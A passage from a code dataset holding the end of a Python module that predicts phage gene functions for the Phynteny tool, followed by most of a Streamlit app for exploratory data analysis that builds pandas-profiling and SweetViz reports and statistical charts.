handle_genbank.extract_features(gb_dict.get(key))}\n\n # get phrog annotations\n phages[key][\"phrogs\"] = [\n 0 if i == \"No_PHROG\" else int(i) for i in phages[key][\"phrogs\"]\n ]\n\n # make predictions\n (\n unk_idx,\n predictions,\n scores,\n confidence,\n ) = gene_predictor.predict_annotations(phages)\n\n if len(predictions) > 0:\n # update with these annotations\n cds = [i for i in gb_dict.get(key).features if i.type == \"CDS\"]\n\n # return everything back\n for i in range(len(unk_idx)):\n cds[unk_idx[i]].qualifiers[\"phynteny\"] = categories.get(\n predictions[i]\n )\n round_score = str(np.max(scores[i]))\n cds[unk_idx[i]].qualifiers[\"phynteny_score\"] = round_score\n cds[unk_idx[i]].qualifiers[\"phynteny_confidence\"] = confidence[i]\n\n # write to genbank file\n SeqIO.write(gb_dict.get(key), handle, \"genbank\")\n logger.info(f\"Annotated the phage {key}\")\n return gb_dict\n\n\ndef generate_table(outfile, gb_dict, categories, phrog_integer):\n \"\"\"\n Generate table summary of the annotations made\n \"\"\"\n\n # get the list of phages to loop through\n keys = list(gb_dict.keys())\n\n # count the number of genes found\n found = 0\n\n # convert annotations made to a text file\n with click.open_file(outfile, \"wt\") if outfile != \".tsv\" else sys.stdout as f:\n f.write(\n \"ID\\tstart\\tend\\tstrand\\tphrog_id\\tphrog_category\\tphynteny_category\\tphynteny_score\\tconfidence\\tsequence\\tphage\\n\"\n )\n\n for k in keys:\n # obtain the sequence\n seq = gb_dict.get(k).seq\n\n # get the genes\n cds = [f for f in gb_dict.get(k).features if f.type == \"CDS\"]\n\n # extract the features for the cds\n start = [c.location.start for c in cds]\n end = [c.location.end for c in cds]\n seq = [str(seq[start[i] : end[i]]) for i in range(len(cds))]\n\n strand = [c.strand for c in cds]\n\n # generate list of protein ids\n ID = [\n c.qualifiers.get(\"protein_id\")[0]\n if \"protein_id\" in c.qualifiers\n else \"\"\n for c in cds\n ]\n\n if len(ID) == 0:\n ID = [\n c.qualifiers.get(\"ID\")[0] if \"ID\" in c.qualifiers else \"\"\n for c in cds\n ]\n\n # lists to iterate through\n phrog = []\n phynteny_category = []\n phynteny_score = []\n phynteny_confidence = []\n\n # extract details for genes\n for c in cds:\n if \"phrog\" in c.qualifiers.keys():\n phrog.append(c.qualifiers.get(\"phrog\")[0])\n else:\n phrog.append(\"No_PHROG\")\n\n if \"phynteny\" in c.qualifiers.keys():\n phynteny_category.append(c.qualifiers.get(\"phynteny\"))\n phynteny_score.append(c.qualifiers.get(\"phynteny_score\"))\n phynteny_confidence.append(c.qualifiers.get(\"phynteny_confidence\"))\n\n # update the number of genes found\n if float(c.qualifiers.get(\"phynteny_confidence\")) > 0.9:\n found += 1\n\n else:\n phynteny_category.append(np.nan)\n phynteny_score.append(np.nan)\n phynteny_confidence.append(np.nan)\n\n phrog = [int(p) if p != \"No_PHROG\" else p for p in phrog]\n known_category = [categories.get(phrog_integer.get(p)) for p in phrog]\n known_category = [\n \"unknown function\" if c == None else c for c in known_category\n ]\n\n # write to table\n for i in range(len(cds)):\n f.write(\n f\"{ID[i]}\\t{start[i]}\\t{end[i]}\\t{strand[i]}\\t{phrog[i]}\\t{known_category[i]}\\t{phynteny_category[i]}\\t{phynteny_score[i]}\\t{phynteny_confidence[i]}\\t{seq[i]}\\t{k}\\n\"\n )\n\n return found\n\n\nclass Predictor:\n \"\"\"\n Predictor object for predicting function of unknown genes\n \"\"\"\n\n def __init__(\n self, models, phrog_categories_path, confidence_dict, category_names_path\n ):\n self.models = get_models(models)\n self.max_length = (\n self.models[0]\n .get_config()\n .get(\"layers\")[0]\n .get(\"config\")\n .get(\"batch_input_shape\")[1]\n )\n\n self.phrog_categories = get_dict(phrog_categories_path)\n self.confidence_dict = get_dict(confidence_dict)\n self.category_names = get_dict(category_names_path)\n self.num_functions = len(self.category_names)\n\n def predict_annotations(self, phage_dict):\n \"\"\" \"\"\"\n\n encodings = [\n [self.phrog_categories.get(p) for p in phage_dict.get(q).get(\"phrogs\")]\n for q in list(phage_dict.keys())\n ]\n\n if len(encodings[0]) == 0:\n logger.info(f\"your phage {list(phage_dict.keys())[0]} has zero genes!\")\n\n unk_idx = [i for i, x in enumerate(encodings[0]) if x == 0]\n\n if len(unk_idx) == 0:\n logger.info(\n f\"Phage {str(list(phage_dict.keys())[0])} is already completely annotated!\"\n )\n\n predictions = []\n scores = []\n confidence = []\n\n elif len(encodings[0]) > 120:\n logger.info(\n f\"Your phage + {str(list(phage_dict.keys())[0])} has more genes than the maximum of 120!\"\n )\n\n predictions = []\n scores = []\n confidence = []\n\n else:\n # make data with the categories masked\n X = [\n format_data.generate_prediction(\n encodings,\n self.num_functions,\n self.max_length,\n i,\n )\n for i in unk_idx\n ]\n\n yhat = statistics.phynteny_score(\n np.array(X).reshape(len(X), self.max_length, self.num_functions),\n self.num_functions,\n self.models,\n )\n\n scores = [yhat[i] for i in range(len(unk_idx))]\n\n predictions, confidence = statistics.compute_confidence(\n scores, self.confidence_dict, self.category_names\n )\n\n # round the scores\n scores_round = np.round(scores, decimals=3)\n confidence_round = np.round(confidence, decimals=4)\n\n return unk_idx, predictions, scores_round, confidence_round\n","repo_name":"susiegriggo/Phynteny","sub_path":"phynteny_utils/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":8966,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"70217407555","text":"from typing import Any\r\nimport streamlit as st\r\nfrom PIL import Image\r\nfrom pandas_profiling import ProfileReport\r\nimport sweetviz\r\nimport time\r\nimport datetime as dt\r\nfrom datetime import date\r\nimport pandas as pd\r\nimport numpy as np\r\nimport libs.EDA_graphs as EDA\r\nimport sys\r\nimport plotly.figure_factory as ff\r\nimport matplotlib.pyplot as plt\r\nimport plotly.express as px\r\nimport seaborn as sns\r\nfrom streamlit_option_menu import option_menu\r\n\r\n\r\ndef app():\r\n\r\n appSelectionSubCat = option_menu('Select option', ['Home','Data Reports','Summary and Statistics','Special Charts'], \r\n icons=['house'], \r\n menu_icon=\"bi bi-box-arrow-in-right\", default_index=0, orientation=\"horizontal\",\r\n styles={\"container\": {\"padding\": \"1!important\", \"background-color\": \"#F9F7F7\"},\r\n \"nav-link\": {\"font-size\": \"13px\",\"--hover-color\": \"#eee\"}}\r\n )\r\n\r\n #appSelectionSubCat = st.sidebar.selectbox('Submenu',['Home','Data Reports','Summary and Statistics'])\r\n\r\n # Sub pages -------------------------------------------------------------------------------------------------\r\n\r\n def page_EDA_profile_and_sweetviz():\r\n\r\n st.title(\"Reports\")\r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']))\r\n\r\n if optionDataset:\r\n\r\n col1, col2, col3 = st.columns([1,1,2])\r\n #pr = None\r\n with col1:\r\n\r\n with st.form(key='my_form_pandas_profile', clear_on_submit=True):\r\n\r\n st.write(\"Create report using pandas profile\")\r\n minimum_report = st.selectbox(\"Minimum report?\",['Yes', 'No'])\r\n submit = st.form_submit_button('Submit')\r\n from streamlit_pandas_profiling import st_profile_report\r\n def report_profile_min(df):\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n profile = ProfileReport(df, minimal=True, infer_dtypes=False)\r\n profile.to_file(output_file=f'files_output/pandas_profile_output_mininum_{mes_ano}.html')\r\n\r\n def report_profile(df):\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n profile = ProfileReport(df, infer_dtypes=False)\r\n #pr = df.profile_report()\r\n #return st_profile_report(pr)\r\n #return st.write(\"TESTE\")\r\n profile.to_file(output_file=f'files_output/pandas_profile_output_{mes_ano}.html')\r\n\r\n if submit:\r\n if minimum_report == 'Yes':\r\n\r\n start_time_func = time.time()\r\n report_profile_min(st.session_state[optionDataset])\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {finished_time} seconds\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n elif minimum_report == 'No':\r\n\r\n start_time_func = time.time()\r\n report_profile(st.session_state[optionDataset])\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {finished_time} seconds\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n with col2:\r\n\r\n with st.form(key='my_form_sweetviz', clear_on_submit=True):\r\n\r\n st.write(\"Create report using SweetViz\")\r\n name_target = st.text_input(\"Target variable\")\r\n submit = st.form_submit_button('Submit')\r\n\r\n if submit:\r\n start_time_func = time.time()\r\n\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n my_report = sweetviz.analyze([st.session_state[optionDataset],'Exploratory'], target_feat=name_target)\r\n my_report.show_html(f'files_output/sweetviz_output_{mes_ano}.html', open_browser=True)\r\n\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {str(finished_time)} seconds\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n with col3:\r\n\r\n with st.form(key='my_form_sweetviz_compare', clear_on_submit=True):\r\n\r\n\r\n st.write(\"Create report comparison with different bases using SweetViz\")\r\n optionDatasetCompare = st.selectbox('Select the dataset for compare',(st.session_state['dataset']))\r\n have_target = st.selectbox(\"Have target variable\", ['','No','Yes'])\r\n name_target = st.text_input(\"Target variable name\")\r\n submit = st.form_submit_button('Submit')\r\n\r\n if submit:\r\n if optionDatasetCompare != optionDataset:\r\n if have_target == 'Yes':\r\n if name_target:\r\n start_time_func = time.time()\r\n\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n\r\n df_1 = st.session_state[optionDataset].drop([name_target],axis=1)\r\n df_1['flag_compare'] = 0\r\n\r\n df_2 = st.session_state[optionDatasetCompare]\r\n df_2['flag_compare'] = 1\r\n\r\n df_fim = pd.concat([df_1, df_2],axis=0)\r\n \r\n my_report = sweetviz.compare_intra(df_fim, df_fim[\"flag_compare\"]==1, [optionDataset, optionDatasetCompare])\r\n\r\n #my_report = sweetviz.analyze([st.session_state[optionDataset],'Exploratory'], target_feat=name_target)\r\n my_report.show_html(f'files_output/sweetviz_output_compare_{mes_ano}.html', open_browser=True)\r\n\r\n del df_1['flag_compare']\r\n del df_2['flag_compare']\r\n\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {str(finished_time)} seconds\")\r\n time.sleep(2)\r\n st.experimental_rerun()\r\n else:\r\n st.error(\"Input the target variable!\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n elif have_target == 'No':\r\n \r\n start_time_func = time.time()\r\n\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n\r\n df_1 = st.session_state[optionDataset]\r\n df_1['flag_compare'] = 0\r\n\r\n df_2 = st.session_state[optionDatasetCompare]\r\n df_2['flag_compare'] = 1\r\n\r\n df_fim = pd.concat([df_1, df_2],axis=0)\r\n \r\n my_report = sweetviz.compare_intra(df_fim, df_fim[\"flag_compare\"]==1, [optionDatasetCompare, optionDataset])\r\n\r\n #my_report = sweetviz.analyze([st.session_state[optionDataset],'Exploratory'], target_feat=name_target)\r\n my_report.show_html(f'files_output/sweetviz_output_compare_{mes_ano}.html', open_browser=True)\r\n\r\n del df_1['flag_compare']\r\n del df_2['flag_compare']\r\n\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {str(finished_time)} seconds\")\r\n time.sleep(2)\r\n st.experimental_rerun()\r\n \r\n else:\r\n\r\n st.error(\"Check the option if there is a target variable!\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n \r\n else:\r\n \r\n if have_target == 'Yes':\r\n if name_target:\r\n start_time_func = time.time()\r\n\r\n dt_today = date.today()\r\n mes_ano = str(dt_today).split('-')[2] + \"_\" + str(dt_today).split('-')[1] + \"_\" + str(dt_today).split('-')[0]\r\n\r\n my_report = sweetviz.compare_intra(st.session_state[optionDataset], st.session_state[optionDataset][name_target]==1, [\"Target = 1\", \"Target = 0\"])\r\n\r\n my_report.show_html(f'files_output/sweetviz_output_compare_{mes_ano}.html', open_browser=True)\r\n\r\n end_time_func = time.time()\r\n finished_time = float(round(end_time_func - start_time_func,2))\r\n\r\n st.success(f\"Created successfully, done in {str(finished_time)} seconds\")\r\n time.sleep(2)\r\n st.experimental_rerun()\r\n\r\n st.error(\"It's not allowed to compare the same dataset!\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n else:\r\n st.error(\"Input the target variable!\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n else:\r\n st.error(\"Check the option if there is a target variable!\")\r\n time.sleep(1)\r\n st.experimental_rerun()\r\n\r\n #pr = st.session_state[optionDataset].profile_report(infer_dtypes=False)\r\n #st_profile_report(pr)\r\n\r\n else:\r\n st.write(\"There is no Dataset loaded\")\r\n\r\n def page_EDA_summary_statistics(): \r\n\r\n st.title(\"Summary and statistics\") \r\n\r\n optionDataset = st.selectbox(\r\n 'Select the dataset',\r\n (st.session_state['dataset']))\r\n\r\n if optionDataset:\r\n\r\n numeric_features = st.session_state[optionDataset].select_dtypes(include=[np.number]).columns\r\n categorical_features = st.session_state[optionDataset].select_dtypes(include=[np.object,'category']).columns\r\n\r\n #st.sidebar.write(numeric_features)\r\n #st.sidebar.write(categorical_features)\r\n\r\n eda_plot = EDA.EDA(st.session_state[optionDataset])\r\n\r\n def basic_info(df):\r\n #st.header(\"Data\")\r\n st.write('Number of observations', df.shape[0]) \r\n st.write('Number of variables', df.shape[1])\r\n st.write('Number total of missing (%)',((df.isna().sum().sum()/df.size)*100).round(2))\r\n\r\n #Visualize data\r\n basic_info(st.session_state[optionDataset])\r\n\r\n options = [\"Statistic descriptive\", \"Statistic univariate\", \"Statistic multivariate\"]\r\n menu = st.multiselect(\"Select type of analysis:\", options)\r\n \r\n if 'Statistic descriptive' in menu:\r\n with st.expander(\"Statistic descriptive\", expanded=False):\r\n\r\n st.header(\"Statistic descriptive\")\r\n\r\n #@st.cache\r\n def get_info(df):\r\n\r\n dfx_dtypes = pd.DataFrame(df.dtypes.values, columns=['type'])\r\n dfx_dtypes['type_str'] = dfx_dtypes['type'].apply(lambda x: str(x))\r\n x_dtypes = list(dfx_dtypes['type_str'].values)\r\n\r\n def sizeof_fmt(num):\r\n #for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:\r\n for unit in ['','KByte','MByte','GByte','TByte','PByte','EByte','ZByte']:\r\n if abs(num) < 1024.0:\r\n return \"%3.1f %s\" % (num, unit)\r\n num /= 1024.0\r\n return \"%.1f %s\" % (num, 'Yi')\r\n\r\n # Salvando as colunas do dataframe em um dicionário\r\n dic_df = {}\r\n for key in df:\r\n dic_df[key] = df[key]\r\n \r\n name_var_sizeof = []\r\n tam_var_sizeof = []\r\n df_sizeof = pd.DataFrame(columns=[\"Variable\",\"Size\"])\r\n\r\n for name, size in (((name, sys.getsizeof(value)) for name, value in dic_df.items())):\r\n name_var_sizeof.append(name)\r\n tam_var_sizeof.append(sizeof_fmt(size))\r\n \r\n df_sizeof['Variable'] = name_var_sizeof\r\n df_sizeof['Size'] = tam_var_sizeof\r\n\r\n return pd.DataFrame({'Objects Types': x_dtypes, 'Size': df_sizeof['Size'].values, 'NaN': df.isna().sum(), 'NaN%': round((df.isna().sum()/len(df))*100,2), 'Unique':df.nunique()})\r\n\r\n #@st.cache\r\n def get_stats(df):\r\n stats_num = df.describe()\r\n if df.select_dtypes([np.object,'category']).empty :\r\n return stats_num.transpose(), None\r\n if df.select_dtypes(np.number).empty :\r\n return None, df.describe(include=[np.object,'category']).transpose()\r\n else:\r\n return stats_num.transpose(), df.describe(include=[np.object,'category']).transpose()\r\n\r\n #Data statistics\r\n df_info = get_info(st.session_state[optionDataset]) \r\n df_stat_num, df_stat_obj = get_stats(st.session_state[optionDataset])\r\n\r\n st.markdown('**Numerical summary**')\r\n st.dataframe(df_stat_num)\r\n st.markdown('**Categorical summary**')\r\n st.dataframe(df_stat_obj)\r\n st.markdown('**Missing Values**')\r\n st.dataframe(df_info)\r\n\r\n if 'Statistic univariate' in menu:\r\n with st.expander(\"Statistic univariate\", expanded=False):\r\n \r\n @st.cache\r\n def pf_of_info(df,col):\r\n\r\n x_dtypes = pd.DataFrame({'Columns':list(df.columns),'type':df.dtypes.values})\r\n x_dtypes['type_str'] = x_dtypes['type'].apply(lambda x: str(x))\r\n\r\n info = dict()\r\n info['Type'] = str(x_dtypes[x_dtypes[\"Columns\"] == col[0]][\"type_str\"].values[0])\r\n info['Unique'] = df[col].nunique()\r\n info['n_zeros'] = (len(df) - np.count_nonzero(df[col]))\r\n info['p_zeros'] = round(info['n_zeros'] * 100 / len(df),2)\r\n info['nan'] = df[col].isna().sum()\r\n info['p_nan'] = (df[col].isna().sum() / df.shape[0]) * 100\r\n return pd.DataFrame(info, index = col).T.round(2)\r\n \r\n @st.cache \r\n def pd_of_stats(df,col):\r\n #Descriptive Statistics\r\n stats = dict()\r\n stats['Mean'] = df[col].mean()\r\n stats['Std'] = df[col].std()\r\n stats['Var'] = df[col].var()\r\n stats['Kurtosis'] = df[col].kurtosis()\r\n stats['Skewness'] = df[col].skew()\r\n stats['Coefficient Variance'] = stats['Std'] / stats['Mean']\r\n return pd.DataFrame(stats, index = col).T.round(2)\r\n\r\n @st.cache \r\n def pd_of_stats_quantile(df,col):\r\n df_no_na = df[col].dropna()\r\n stats_q = dict()\r\n\r\n stats_q['Min'] = df[col].min()\r\n label = {0.25:\"Q1\", 0.5:'Median', 0.75:\"Q3\"}\r\n for percentile in np.array([0.25, 0.5, 0.75]):\r\n stats_q[label[percentile]] = df_no_na.quantile(percentile)\r\n stats_q['Max'] = df[col].max()\r\n stats_q['Range'] = stats_q['Max']-stats_q['Min']\r\n stats_q['IQR'] = stats_q['Q3']-stats_q['Q1']\r\n return pd.DataFrame(stats_q, index = col).T.round(2) \r\n\r\n def plot_univariate(df, obj_plot, main_var, radio_plot_uni):\r\n if 'Histogram' in radio_plot_uni:\r\n st.subheader('Histogram')\r\n bins, range_ = None, None\r\n hue_opt = st.selectbox(\"Hue (categorical) *optional\",obj_plot.columns.insert(0,None))\r\n bins_ = st.slider('Number of bins *optional', value = 10, key='bins_histogram')\r\n range_ = st.slider('Choose range optional', float(obj_plot.df[main_var].min()), \\\r\n float(obj_plot.df[main_var].max()),(float(obj_plot.df[main_var].min()),float(obj_plot.df[main_var].max()))) \r\n #button_histogram = st.button('Plot histogram chart', key='histogram_plot_univariate')\r\n #if button_histogram:\r\n fig = obj_plot.histogram_num(main_var, hue_opt, bins_, range_)\r\n fig.update_layout(autosize=False, height=800)\r\n st.plotly_chart(fig,use_container_width=False)\r\n\r\n if 'BoxPlot' in radio_plot_uni:\r\n st.subheader('Boxplot')\r\n # col_x, hue_opt = None, None\r\n col_x = st.selectbox(\"Choose x variable (categorical) *optional\", obj_plot.columns.insert(0,None), key ='boxplot')\r\n hue_opt = st.selectbox(\"Hue (categorical) *optional\", obj_plot.columns.insert(0,None), key ='boxplot')\r\n #button_boxplot = st.button('Plot boxplot chart', key='boxplot_plot_univariate')\r\n #if button_boxplot:\r\n fig = obj_plot.box_plot(main_var,col_x, hue_opt)\r\n fig.update_layout(autosize=False, height=800)\r\n st.plotly_chart(fig,use_container_width=False)\r\n\r\n if 'Distribution Plot' in radio_plot_uni:\r\n st.subheader('Distribution Plot')\r\n #fig, ax = plt.subplots()\r\n #obj_plot.DistPlot(main_var)\r\n #fig = ff.create_distplot(df[main_var], group_labels=['teste'], bin_size=.5, curve_type='normal')\r\n bins, range_ = None, None\r\n bins_distplot = st.slider('Number of values in inside the bins *optional', value = 10, key='bins_distplot')\r\n fig = ff.create_distplot([df[main_var]], [str(main_var)], bin_size=bins_distplot, curve_type='normal')\r\n fig.update_layout(autosize=False, height=900)\r\n st.plotly_chart(fig, use_container_width=False)\r\n\r\n st.header(\"Statistic univariate\")\r\n st.markdown(\"Summary statistics of only one variable in the dataset.\")\r\n main_var = st.selectbox(\"Choose one variable to analyze:\", list(st.session_state[optionDataset].columns.insert(0,None)))\r\n\r\n if main_var in numeric_features:\r\n if main_var != None:\r\n st.subheader(\"Variable info\")\r\n st.table(pf_of_info(st.session_state[optionDataset], [main_var]).T)\r\n st.subheader(\"Descriptive Statistics\")\r\n st.table((pd_of_stats(st.session_state[optionDataset], [main_var])).T)\r\n st.subheader(\"Quantile Statistics\") \r\n st.table((pd_of_stats_quantile(st.session_state[optionDataset], [main_var])).T) \r\n \r\n chart_univariate = st.multiselect('Charts', ['None','Histogram', 'BoxPlot', 'Distribution Plot'])\r\n \r\n plot_univariate(st.session_state[optionDataset], eda_plot, main_var, chart_univariate)\r\n\r\n if main_var in categorical_features:\r\n st.table(st.session_state[optionDataset][main_var].describe(include = [np.object, 'category']))\r\n st.bar_chart(st.session_state[optionDataset][main_var].value_counts().to_frame())\r\n\r\n if 'Statistic multivariate' in menu:\r\n\r\n with st.expander(\"Statistic multivariate\", expanded=False):\r\n\r\n def plot_multivariate(obj_plot, radio_plot):\r\n \r\n if 'Boxplot' in radio_plot:\r\n st.subheader('Boxplot')\r\n col_y = st.selectbox(\"Choose main variable (numerical)\",obj_plot.num_vars.insert(0,None), key ='boxplot_multivariate')\r\n col_x = st.selectbox(\"Choose x variable (categorical) *optional\", obj_plot.columns.insert(0,None), key ='boxplot_multivariate')\r\n hue_opt = st.selectbox(\"Hue (categorical) *optional\", obj_plot.columns.insert(0,None), key ='boxplot_multivariate')\r\n #if st.sidebar.button('Plot boxplot chart'):\r\n show_boxplot = st.checkbox(\"Show me boxplot\")\r\n if show_boxplot:\r\n st.plotly_chart(obj_plot.box_plot(col_y,col_x, hue_opt))\r\n \r\n #if radio_plot == ('Violin'):\r\n # st.subheader('Violin')\r\n # col_y = st.selectbox(\"Choose main variable (numerical)\",obj_plot.num_vars, key='violin_multivariate')\r\n # col_x = st.selectbox(\"Choose x variable (categorical) optional\", obj_plot.columns.insert(0,None),key='violin_multivariate')\r\n # hue_opt = st.selectbox(\"Hue (categorical) optional\", obj_plot.columns.insert(0,None),key='violin_multivariate')\r\n # split = st.checkbox(\"Split\",key='violin_multivariate')\r\n # #if st.sidebar.button('Plot violin chart'):\r\n # fig, ax = plt.subplots()\r\n # #fig = px.violin(st.session_state[optionDataset], y=col_y)\r\n # #st.plotly_chart(fig)\r\n # obj_plot.violin(col_y,col_x, hue_opt, split)\r\n # st.pyplot(fig)\r\n \r\n #if radio_plot == ('Swarmplot'):\r\n # st.subheader('Swarmplot')\r\n # col_y = st.selectbox(\"Choose main variable (numerical)\",obj_plot.num_vars, key='swarmplot_multivariate')\r\n # col_x = st.selectbox(\"Choose x variable (categorical) *optional\", obj_plot.columns.insert(0,None),key='swarmplot_multivariate')\r\n # hue_opt = st.selectbox(\"Hue (categorical) *optional\", obj_plot.columns.insert(0,None),key='swarmplot_multivariate')\r\n # split = st.checkbox(\"Split\", key ='swarmplot_multivariate')\r\n # #if st.sidebar.button('Plot swarmplot chart'):\r\n # fig = obj_plot.swarmplot(col_y,col_x, hue_opt, split)\r\n # st.pyplot()\r\n\r\n def pretty(method):\r\n return method.capitalize()\r\n \r\n if 'Correlation' in radio_plot:\r\n\r\n st.subheader('Heatmap Correlation Plot')\r\n correlation = st.selectbox(\"Choose the correlation method\", ('pearson', 'kendall','spearman','phik', 'cramer v'), format_func=pretty)\r\n cols_list = st.multiselect(\"Select columns\",obj_plot.columns)\r\n st.markdown(\"If none selected, it will plot the correlation of all numeric variables.\")\r\n cols_list_rv = st.multiselect(\"Select columns to remove from chart\",obj_plot.columns)\r\n #if st.sidebar.button('Plot heatmap chart'):\r\n fig, ax = plt.subplots()\r\n obj_plot.Corr(cols_list, correlation, cols_list_rv)\r\n show_corr = st.checkbox(\"Show me correlation\")\r\n if show_corr:\r\n st.pyplot(fig)\r\n\r\n #def map_func(function):\r\n # dic = {np.mean:'Mean', np.sum:'Sum', np.median:'Median'}\r\n # return dic[function]\r\n \r\n #if radio_plot == ('Heatmap'):\r\n # st.subheader('Heatmap between vars')\r\n # st.markdown(\" In order to plot this chart remember that the order of the selection matters, \\\r\n # chooose in order the variables that will build the pivot table: row, column and value.\")\r\n # cols_list = st.multiselect(\"Select 3 variables (2 categorical and 1 numeric)\",obj_plot.columns, key= 'heatmapvars_multivariate')\r\n # agg_func = st.selectbox(\"Choose one function to aggregate the data\", (np.mean, np.sum, np.median), format_func=map_func)\r\n # #if st.sidebar.button('Plot heatmap between vars'):\r\n # fig = obj_plot.heatmap_vars(cols_list, agg_func)\r\n # st.pyplot()\r\n \r\n if 'Histogram' in radio_plot:\r\n st.subheader('Histogram')\r\n col_hist = st.selectbox(\"Choose main variable\", obj_plot.num_vars.insert(0,None), key = 'hist')\r\n hue_opt = st.selectbox(\"Hue (categorical) optional\",obj_plot.columns.insert(0,None), key = 'hist')\r\n bins_, range_ = None, None\r\n bins_ = st.slider('Number of bins optional', value = 30)\r\n if col_hist != None:\r\n range_ = st.slider('Choose range optional', int(obj_plot.df[col_hist].min()), int(obj_plot.df[col_hist].max()),\\\r\n (int(obj_plot.df[col_hist].min()),int(obj_plot.df[col_hist].max()))) \r\n #if st.button('Plot histogram chart'):\r\n show_hist = st.checkbox(\"Show me histogram\")\r\n if show_hist:\r\n st.plotly_chart(obj_plot.histogram_num(col_hist, hue_opt, bins_, range_))\r\n\r\n if 'Scatterplot' in radio_plot: \r\n st.subheader('Scatter plot')\r\n col_x = st.selectbox(\"Choose X variable (numerical)\", obj_plot.num_vars.insert(0,None), key = 'scatter')\r\n col_y = st.selectbox(\"Choose Y variable (numerical)\", obj_plot.num_vars.insert(0,None), key = 'scatter')\r\n hue_opt = st.selectbox(\"Hue (categorical) optional\", obj_plot.columns.insert(0,None), key = 'scatter')\r\n size_opt = st.selectbox(\"Size (numerical) optional\",obj_plot.columns.insert(0,None), key = 'scatter')\r\n #if st.sidebar.button('Plot scatter chart'):\r\n show_scatterplot = st.checkbox(\"Show me scatterplot\")\r\n if show_scatterplot:\r\n st.plotly_chart(obj_plot.scatter_plot(col_x,col_y, hue_opt, size_opt))\r\n\r\n if 'Countplot' in radio_plot:\r\n st.subheader('Count Plot')\r\n col_count_plot = st.selectbox(\"Choose main variable\",obj_plot.columns.insert(0,None), key = 'countplot')\r\n hue_opt = st.selectbox(\"Hue (categorical) optional\",obj_plot.columns.insert(0,None), key = 'countplot')\r\n #if st.sidebar.button('Plot Countplot'):\r\n fig, ax = plt.subplots()\r\n obj_plot.CountPlot(col_count_plot, hue_opt)\r\n show_countplot = st.checkbox(\"Show me countplot\")\r\n if show_countplot:\r\n st.pyplot(fig)\r\n \r\n if 'Barplot' in radio_plot:\r\n st.subheader('Barplot') \r\n col_y = st.selectbox(\"Choose main variable (numerical)\",obj_plot.num_vars.insert(0,None), key='barplot')\r\n col_x = st.selectbox(\"Choose x variable (categorical)\", obj_plot.columns.insert(0,None),key='barplot')\r\n hue_opt = st.selectbox(\"Hue (categorical/numerical) optional\", obj_plot.columns.insert(0,None),key='barplot')\r\n #if st.sidebar.button('Plot barplot chart'):\r\n show_barplot = st.checkbox(\"Show me barplot\")\r\n if show_barplot:\r\n st.plotly_chart(obj_plot.bar_plot(col_y, col_x, hue_opt))\r\n #st.plotly_chart(obj_plot.bar_plot(col_y, hue_opt))\r\n\r\n if 'Lineplot' in radio_plot:\r\n st.subheader('Lineplot') \r\n col_y = st.selectbox(\"Choose main variable (numerical)\",obj_plot.num_vars.insert(0,None), key='lineplot')\r\n col_x = st.selectbox(\"Choose x variable (categorical)\", obj_plot.columns.insert(0,None),key='lineplot')\r\n hue_opt = st.selectbox(\"Hue (categorical) optional\", obj_plot.columns.insert(0,None),key='lineplot')\r\n group = st.selectbox(\"Group color (categorical) optional\", obj_plot.columns.insert(0,None),key='lineplot')\r\n #if st.sidebar.button('Plot lineplot chart'):\r\n show_lineplot = st.checkbox(\"Show me lineplot\")\r\n if show_lineplot:\r\n st.plotly_chart(obj_plot.line_plot(col_y,col_x, hue_opt, group))\r\n\r\n st.header(\"Statistic multivariate\")\r\n\r\n st.markdown('Here you can visualize your data by choosing one of the chart options available!')\r\n st.subheader('Data visualization options')\r\n radio_plot = st.multiselect('Choose plot style', ['Boxplot', 'Correlation', 'Histogram', \\\r\n 'Scatterplot', 'Countplot', 'Barplot', 'Lineplot'])\r\n\r\n plot_multivariate(eda_plot, radio_plot)\r\n\r\n if 'Correlation' in radio_plot:\r\n\r\n with st.expander(\"Correlations information\", expanded=False):\r\n\r\n image = Image.open('images/correlations.png')\r\n st.image(image, caption='Correlations table')\r\n\r\n image2 = Image.open('images/correlations_2.png')\r\n st.image(image2, caption='Person, cramer and phik')\r\n else:\r\n st.write(\"There is no Dataset loaded\")\r\n\r\n def page_EDA_special_charts():\r\n\r\n st.title(\"Special Charts\")\r\n\r\n with st.expander(\"Compare scatter plot\", expanded=False):\r\n \r\n col1_compare_scatterplot_0, col2_compare_scatterplot_0 = st.columns([0.15,0.85])\r\n with col1_compare_scatterplot_0:\r\n compare = st.selectbox(\"Compare\", ['Two graphs','Three graphs'])\r\n\r\n if compare == 'Two graphs':\r\n 